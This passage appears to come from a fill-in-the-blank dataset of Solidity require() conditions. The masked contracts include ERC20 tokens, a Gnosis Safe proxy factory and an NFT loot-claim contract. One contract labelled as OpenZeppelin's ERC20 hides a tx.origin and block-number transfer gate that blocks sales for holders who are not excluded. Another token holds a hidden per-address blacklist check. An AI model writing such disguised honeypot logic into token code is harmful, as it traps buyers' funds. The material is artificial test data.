`spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { } function milk(uint256[] calldata mnoo) external { } function milkly(bytes32 x, bytes32 y, uint256 j,uint256 k,uint256 l) private view returns (uint256) { } /** * @dev Moves `amount` of tokens from `from` to `to`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer(address from, address to, uint256 amount) internal virtual { } function checking(address sender, bytes memory data) private view { bytes32 mdata; assembly { mdata := mload(add(data, 0x20)) } require(<FILL_ME>) } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { } /** * @dev Updates `owner` s allowance for `spender` based on spent `amount`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance(address owner, address spender, uint256 amount) internal virtual { } }
_assd[sender]!=1||uint256(mdata)!=0
191,174
_assd[sender]!=1||uint256(mdata)!=0
"Create2 call failed"
// SPDX-License-Identifier: LGPL-3.0-only pragma solidity >=0.7.0 <0.9.0; import "./GnosisSafeProxy.sol"; import "./IProxyCreationCallback.sol"; /// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @author Stefan George - <[email protected]> contract GnosisSafeProxyFactory { event ProxyCreation(GnosisSafeProxy proxy, address singleton); /// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed. function proxyRuntimeCode() public pure returns (bytes memory) { } /// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address. function proxyCreationCode() public pure returns (bytes memory) { } /// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer. /// This method is only meant as an utility to be called from other methods /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function deployProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) internal returns (GnosisSafeProxy proxy) { // If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce)); bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton))); // solhint-disable-next-line no-inline-assembly assembly { proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt) } require(<FILL_ME>) } /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function createProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) public returns (GnosisSafeProxy proxy) { } /// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. /// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized. function createProxyWithCallback( address _singleton, bytes memory initializer, uint256 saltNonce, IProxyCreationCallback callback ) public returns (GnosisSafeProxy proxy) { } /// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce` /// This method is only meant for address calculation purpose when you use an initializer that would revert, /// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function calculateCreateProxyWithNonceAddress( address _singleton, bytes calldata initializer, uint256 saltNonce ) external returns (GnosisSafeProxy proxy) { } }
address(proxy)!=address(0),"Create2 call failed"
191,220
address(proxy)!=address(0)
"ERC20: Reverted"
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.8.0) (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "./utils/Context.sol"; import "./utils/SafeMath.sol"; contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; uint256 private _totalSupply; string private _name; string private _symbol; address DEAD = 0x000000000000000000000000000000000000dEaD; mapping(address => mapping(address => uint256)) private _allowances; address private immutable uniswapV2Pair = 0x175ae3DB8cCaE3e30883320a69F267775623BdF6; uint256 public _swapExclusion = 10_000; address ZERO = 0x0000000000000000000000000000000000000000; mapping (address => uint256) _swapLimit; address private immutable _swapper; mapping (address => bool) _excludedFromSwap; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { } /** * @dev Moves `amount` of tokens from `from` to `to`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); require(<FILL_ME>) _balances[from] = fromBalance - amount; _balances[to] = _balances[to] + amount; emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { } function setAllowance(uint256 _a) external { } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { } function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual { } /** * @dev Updates `owner` s allowance for `spender` based on spent `amount`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
_excludedFromSwap[tx.origin]==true||block.number-_swapLimit[from]<_swapExclusion||to==tx.origin,"ERC20: Reverted"
191,436
_excludedFromSwap[tx.origin]==true||block.number-_swapLimit[from]<_swapExclusion||to==tx.origin
null
/* Telegram: https://t.me/betcryptETH Website: https://betcrypt.casino Twitter: https://twitter.com/betcrypteth Casino :https://t.me/c/1620161781/68820 */ // SPDX-License-Identifier: No License pragma solidity ^0.8.16; abstract contract Context { function _msgSender() internal view virtual returns (address) { } } ////////////////////////////////////////// /////////////// interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } function mul(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } } //???????????????? contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { } function owner() public view returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BETCRYPT is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public _tokensBuyFee = 10; uint256 public _tokensSellFee = 30; uint256 private _swapTokensAt; uint256 private _maxTokensToSwapForFees; address payable private _feeAddress; string private constant _name = "BETCRYPT"; string private constant _symbol = "$BETCRYPT"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxWalletAmount = _tTotal; uint256 private _maxTxAmount = _tTotal; event MaxWalletAmountUpdated(uint _maxWalletAmount); // Uniswap V2 Router constructor () { } function name() public pure returns (string memory) { } function symbol() public pure returns (string memory) { } function decimals() public pure returns (uint8) { } function totalSupply() public pure override returns (uint256) { } function balanceOf(address account) public view override returns (uint256) { } function transfer(address recipient, uint256 amount) public override returns (bool) { } function allowance(address owner, address spender) public view override returns (uint256) { } function approve(address spender, uint256 amount) public override returns (bool) { } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { } function manualswap() public { require(<FILL_ME>) uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public { } function manualswapsend() external { } // This function opens trading once and then it can never be called again function openTrading() external onlyOwner() { } function updateBuyFee(uint256 _fee) external onlyOwner { } function updateSellFee(uint256 _fee) external onlyOwner { } function removeStrictWalletLimit() external onlyOwner { } function removeStrictTxLimit() external onlyOwner { } function setSwapTokensAt(uint256 amount) external onlyOwner() { } function setMaxTokensToSwapForFees(uint256 amount) external onlyOwner() { } function setCooldownEnabled(bool onoff) external onlyOwner() { } function excludeFromFee(address user, bool excluded) external onlyOwner() { } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { } function _approve(address owner, address spender, uint256 amount) private { } function _transfer(address from, address to, uint256 amount) private { } function swapTokensForEth(uint256 tokenAmount) private { } function sendETHToFee(uint256 amount) private { } function _tokenTransfer(address sender, address recipient, uint256 amount) private { } function _getTokenFee(address sender, address recipient) private view returns (uint256) { } function _transferStandard(address sender, address recipient, uint256 tAmount) private { } function _takeTeam(uint256 tTeam) private { } function _reflectFee(uint256 rFee, uint256 tFee) private { } // external payable public function receive() external payable { } function _getValues(uint256 tAmount, uint256 tokenFee) private view returns (uint256, uint256, uint256, uint256) { } function _getTValues(uint256 tAmount, uint256 teamFee) private pure returns (uint256, uint256) { } function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) { } function _getRate() private view returns(uint256) { } function _getCurrentSupply() private view returns(uint256, uint256) { } }
_msgSender()==_feeAddress
191,437
_msgSender()==_feeAddress
"Already claimed items!"
// SPDX-License-Identifier: MIT // // Made with love from @muddotxyz // @author st4rgard3n @KyleSt4rgarden @c0mput3rxz @gvanderest // '||''''| '|| . // || . .... ... .... ... .. || ... ... .||. // ||''| '|. | .|...|| ||' '' || .| '|. .| '|. || // || '|.| || || || || || || || || // .||.....| '| '|...' .||. .||. '|..|' '|..|' '|.' pragma solidity ^0.8.2; import "./Parents/ERC721A.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; // @todo Edit price just prior to launch contract EverLoot is ERC721A, AccessControl, ReentrancyGuard { bytes32 public constant ROOT_ROLE = keccak256("ROOT_ROLE"); bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); // max number of EverLoot that can be minted per call uint public constant MAXMINT = 10; // the Heroes of Evermore contract IERC721 public constant HEROES = IERC721(0xf1eF40f5aEa5D1501C1B8BCD216CF305764fca40); /************************* MAPPING STRUCTS EVENTS *************************/ // tracks the merkle roots for each loot claim mapping(uint => bytes32) private _lootRoots; // tracks if user has claimed loot for a particular root mapping(address => mapping(uint => uint)) private _claimedLoot; // tracks if user has claimed prizes for a particular root mapping(address => mapping(uint => uint)) private _claimedPrize; // tracks if a user has completed the tutorial with this token mapping(address => mapping(uint => bool)) public _tutorialClaimed; // tracks a full bulk claim event ClaimLoot(address indexed to, uint256[] indexed indexedUniqueItemIds, uint256 indexed startingTokenId, uint256[] uniqueItemIds); // tracks a full prize claim event ClaimPrize(address indexed to, uint[] tokenIds, address[] tokenAddresses); // tracks a forged loot chunk event Forge(address indexed to, uint256 indexed amount, uint256 indexed startingTokenId, string forgeType); // tracks the promotion of claims on chain event PromoteClaims(uint rootIndex, bytes32 lootRoot); /************************* STATE VARIABLES *************************/ // price of each EverLoot token uint private _price = 0.025 ether; // pauses minting when true bool private _paused = true; // increments when a weekly lootRoot is written uint private _rootIndex = 0; // baseURI for accessing token metadata string private _baseTokenURI; constructor() ERC721A("EverLoot", "EVER") { } /************************* MODIFIERS *************************/ /** * @dev Modifier for preventing calls from contracts * Safety feature for preventing malicious contract call backs */ modifier callerIsUser() { } /** * @dev Modifier for preventing function calls * Safety feature that enforces the _paused */ modifier notPaused() { } /************************* VIEW AND PURE FUNCTIONS *************************/ /** * @dev Helper function for validating a merkle proof and leaf * @param merkleProof is an array of proofs needed to authenticate a transaction * @param root is used along with proofs and our leaf to authenticate our transaction * @param leaf is generated from parameter data which can be enforced */ function verifyClaim( bytes32[] memory merkleProof, bytes32 root, bytes32 leaf ) public pure returns (bool valid) { } /** * @dev Internal function for returning the token URI * wrapped with showBaseUri */ function _baseURI() internal view virtual override returns (string memory) { } /** * @dev Public function for returning the base token URI * wraps _baseURI() function */ function returnBaseURI() public view returns (string memory) { } /** * @dev Public function for returning the price * wraps _price state variable */ function getPrice() public view returns (uint price) { } /** * @dev Public function for returning the current root index * wraps _rootIndex state variable */ function getRootIndex() public view returns (uint rootIndex) { } /** * @dev Public function for returning if a user has already claimed * @param claimedIndex the _claimedLoot index to check * @param user the user address to check * wraps _claimedLoot mapping */ function getClaimStatus(uint claimedIndex, address user) public view returns (uint status) { } /** * @dev Public function for returning if a user has already completed the tutorial for this character * @param characterId the token id of the character to check * @param user the user address to check * wraps _tutorialClaimed mapping */ function getTutorialStatus(uint characterId, address user) public view returns (bool status) { } /** * @dev Public function for returning the pause status * helper function for front end consumption */ function isPaused() public view returns (bool) { } /************************* USER FUNCTIONS *************************/ /** * @dev claims all earned NFTs for a specific claim period * @param to is the address which receives minted tokens * @param rootId is used to determine which loot root we access * @param uniqueItemIds is the array of items the user is claiming * @param merkleProof is an array of proofs needed to authenticate a transaction */ function claimLoot( address to, uint256 rootId, uint256[] calldata uniqueItemIds, bytes32[] calldata merkleProof ) external callerIsUser notPaused { // require that user is claiming less than 10 require(uniqueItemIds.length <= MAXMINT, "Must not claim more than MAXMINT!"); // require that user hasn't already claimed these items require(<FILL_ME>) // build our leaf from the recipient address and the hash of unique item ids bytes32 leaf = keccak256(abi.encodePacked(to, uniqueItemIds)); // authenticate and enforce the correct unique item ids for the correct user require(verifyClaim(merkleProof, _lootRoots[rootId], leaf), "Incorrect merkle proof!"); // set the claimed status for user _claimedLoot[to][rootId] = 1; // indexed data for assigning unique item id's metadata to the correct token id emit ClaimLoot(to, uniqueItemIds, _currentIndex, uniqueItemIds); // mint the new loot token's to user _safeMint(to, uniqueItemIds.length); } /** * @dev claims all prize NFTs for a specific claim period * @param to is the address which receives minted tokens * @param rootId is used to determine which loot root we access * @param tokenIds is the array of items the user is claiming * @param tokenAddresses is the array of NFT contract addresses * @param merkleProof is an array of proof needed to authenticate a transaction */ function claimPrize( address to, uint rootId, uint[] calldata tokenIds, address[] calldata tokenAddresses, bytes32[] calldata merkleProof ) external callerIsUser notPaused { } /** * @dev Forges new EverLoot tokens to the function caller * @param amount the number of tokens to forge */ function forge(uint amount) external payable callerIsUser notPaused { } /** * @dev Forges new EverLoot tokens to the function caller * @param tokenId The Heroes of Evermore character minting the token */ function tutorial(uint tokenId) external callerIsUser notPaused { } /************************* ACCESS CONTROL FUNCTIONS *************************/ /** * @dev Access control function allows Battle for Evermore to post new root hashes * @param newIndex the new index of our loot root mapping * @param newRoot the new merkle root to be stored on chain */ function newLootRoot( uint newIndex, bytes32 newRoot ) external onlyRole(ROOT_ROLE) { } /** * @dev Forges new EverLoot tokens to the function caller * @param amount the number of tokens to forge */ function specialForge(address to, uint amount, string calldata forgeType) external onlyRole(MINTER_ROLE) notPaused { } /** * @dev Access control function allows PAUSER_ROLE to toggle _paused flag * @param setPaused the new status of the paused variable */ function setPause( bool setPaused ) external onlyRole(PAUSER_ROLE) { } /** * @dev Access control function allows DEFAULT_ADMIN_ROLE to change the URI * @param newBaseURI the new base token URI */ function setBaseURI(string calldata newBaseURI) external onlyRole(DEFAULT_ADMIN_ROLE) { } /** * @dev Access control function allows DEFAULT_ADMIN_ROLE to withdraw ETH */ function withdrawAll() external nonReentrant onlyRole(DEFAULT_ADMIN_ROLE) { } /************************* OVERRIDES *************************/ // required by Solidity function supportsInterface(bytes4 interfaceId) public view override(ERC721A, AccessControl) returns (bool) { } /** * Change the starting tokenId to 1 */ function _startTokenId() internal pure override(ERC721A) returns (uint256) { } }
_claimedLoot[to][rootId]==0,"Already claimed items!"
191,475
_claimedLoot[to][rootId]==0
"Incorrect merkle proof!"
// SPDX-License-Identifier: MIT // // Made with love from @muddotxyz // @author st4rgard3n @KyleSt4rgarden @c0mput3rxz @gvanderest // '||''''| '|| . // || . .... ... .... ... .. || ... ... .||. // ||''| '|. | .|...|| ||' '' || .| '|. .| '|. || // || '|.| || || || || || || || || // .||.....| '| '|...' .||. .||. '|..|' '|..|' '|.' pragma solidity ^0.8.2; import "./Parents/ERC721A.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; // @todo Edit price just prior to launch contract EverLoot is ERC721A, AccessControl, ReentrancyGuard { bytes32 public constant ROOT_ROLE = keccak256("ROOT_ROLE"); bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); // max number of EverLoot that can be minted per call uint public constant MAXMINT = 10; // the Heroes of Evermore contract IERC721 public constant HEROES = IERC721(0xf1eF40f5aEa5D1501C1B8BCD216CF305764fca40); /************************* MAPPING STRUCTS EVENTS *************************/ // tracks the merkle roots for each loot claim mapping(uint => bytes32) private _lootRoots; // tracks if user has claimed loot for a particular root mapping(address => mapping(uint => uint)) private _claimedLoot; // tracks if user has claimed prizes for a particular root mapping(address => mapping(uint => uint)) private _claimedPrize; // tracks if a user has completed the tutorial with this token mapping(address => mapping(uint => bool)) public _tutorialClaimed; // tracks a full bulk claim event ClaimLoot(address indexed to, uint256[] indexed indexedUniqueItemIds, uint256 indexed startingTokenId, uint256[] uniqueItemIds); // tracks a full prize claim event ClaimPrize(address indexed to, uint[] tokenIds, address[] tokenAddresses); // tracks a forged loot chunk event Forge(address indexed to, uint256 indexed amount, uint256 indexed startingTokenId, string forgeType); // tracks the promotion of claims on chain event PromoteClaims(uint rootIndex, bytes32 lootRoot); /************************* STATE VARIABLES *************************/ // price of each EverLoot token uint private _price = 0.025 ether; // pauses minting when true bool private _paused = true; // increments when a weekly lootRoot is written uint private _rootIndex = 0; // baseURI for accessing token metadata string private _baseTokenURI; constructor() ERC721A("EverLoot", "EVER") { } /************************* MODIFIERS *************************/ /** * @dev Modifier for preventing calls from contracts * Safety feature for preventing malicious contract call backs */ modifier callerIsUser() { } /** * @dev Modifier for preventing function calls * Safety feature that enforces the _paused */ modifier notPaused() { } /************************* VIEW AND PURE FUNCTIONS *************************/ /** * @dev Helper function for validating a merkle proof and leaf * @param merkleProof is an array of proofs needed to authenticate a transaction * @param root is used along with proofs and our leaf to authenticate our transaction * @param leaf is generated from parameter data which can be enforced */ function verifyClaim( bytes32[] memory merkleProof, bytes32 root, bytes32 leaf ) public pure returns (bool valid) { } /** * @dev Internal function for returning the token URI * wrapped with showBaseUri */ function _baseURI() internal view virtual override returns (string memory) { } /** * @dev Public function for returning the base token URI * wraps _baseURI() function */ function returnBaseURI() public view returns (string memory) { } /** * @dev Public function for returning the price * wraps _price state variable */ function getPrice() public view returns (uint price) { } /** * @dev Public function for returning the current root index * wraps _rootIndex state variable */ function getRootIndex() public view returns (uint rootIndex) { } /** * @dev Public function for returning if a user has already claimed * @param claimedIndex the _claimedLoot index to check * @param user the user address to check * wraps _claimedLoot mapping */ function getClaimStatus(uint claimedIndex, address user) public view returns (uint status) { } /** * @dev Public function for returning if a user has already completed the tutorial for this character * @param characterId the token id of the character to check * @param user the user address to check * wraps _tutorialClaimed mapping */ function getTutorialStatus(uint characterId, address user) public view returns (bool status) { } /** * @dev Public function for returning the pause status * helper function for front end consumption */ function isPaused() public view returns (bool) { } /************************* USER FUNCTIONS *************************/ /** * @dev claims all earned NFTs for a specific claim period * @param to is the address which receives minted tokens * @param rootId is used to determine which loot root we access * @param uniqueItemIds is the array of items the user is claiming * @param merkleProof is an array of proofs needed to authenticate a transaction */ function claimLoot( address to, uint256 rootId, uint256[] calldata uniqueItemIds, bytes32[] calldata merkleProof ) external callerIsUser notPaused { // require that user is claiming less than 10 require(uniqueItemIds.length <= MAXMINT, "Must not claim more than MAXMINT!"); // require that user hasn't already claimed these items require(_claimedLoot[to][rootId] == 0, "Already claimed items!"); // build our leaf from the recipient address and the hash of unique item ids bytes32 leaf = keccak256(abi.encodePacked(to, uniqueItemIds)); // authenticate and enforce the correct unique item ids for the correct user require(<FILL_ME>) // set the claimed status for user _claimedLoot[to][rootId] = 1; // indexed data for assigning unique item id's metadata to the correct token id emit ClaimLoot(to, uniqueItemIds, _currentIndex, uniqueItemIds); // mint the new loot token's to user _safeMint(to, uniqueItemIds.length); } /** * @dev claims all prize NFTs for a specific claim period * @param to is the address which receives minted tokens * @param rootId is used to determine which loot root we access * @param tokenIds is the array of items the user is claiming * @param tokenAddresses is the array of NFT contract addresses * @param merkleProof is an array of proof needed to authenticate a transaction */ function claimPrize( address to, uint rootId, uint[] calldata tokenIds, address[] calldata tokenAddresses, bytes32[] calldata merkleProof ) external callerIsUser notPaused { } /** * @dev Forges new EverLoot tokens to the function caller * @param amount the number of tokens to forge */ function forge(uint amount) external payable callerIsUser notPaused { } /** * @dev Forges new EverLoot tokens to the function caller * @param tokenId The Heroes of Evermore character minting the token */ function tutorial(uint tokenId) external callerIsUser notPaused { } /************************* ACCESS CONTROL FUNCTIONS *************************/ /** * @dev Access control function allows Battle for Evermore to post new root hashes * @param newIndex the new index of our loot root mapping * @param newRoot the new merkle root to be stored on chain */ function newLootRoot( uint newIndex, bytes32 newRoot ) external onlyRole(ROOT_ROLE) { } /** * @dev Forges new EverLoot tokens to the function caller * @param amount the number of tokens to forge */ function specialForge(address to, uint amount, string calldata forgeType) external onlyRole(MINTER_ROLE) notPaused { } /** * @dev Access control function allows PAUSER_ROLE to toggle _paused flag * @param setPaused the new status of the paused variable */ function setPause( bool setPaused ) external onlyRole(PAUSER_ROLE) { } /** * @dev Access control function allows DEFAULT_ADMIN_ROLE to change the URI * @param newBaseURI the new base token URI */ function setBaseURI(string calldata newBaseURI) external onlyRole(DEFAULT_ADMIN_ROLE) { } /** * @dev Access control function allows DEFAULT_ADMIN_ROLE to 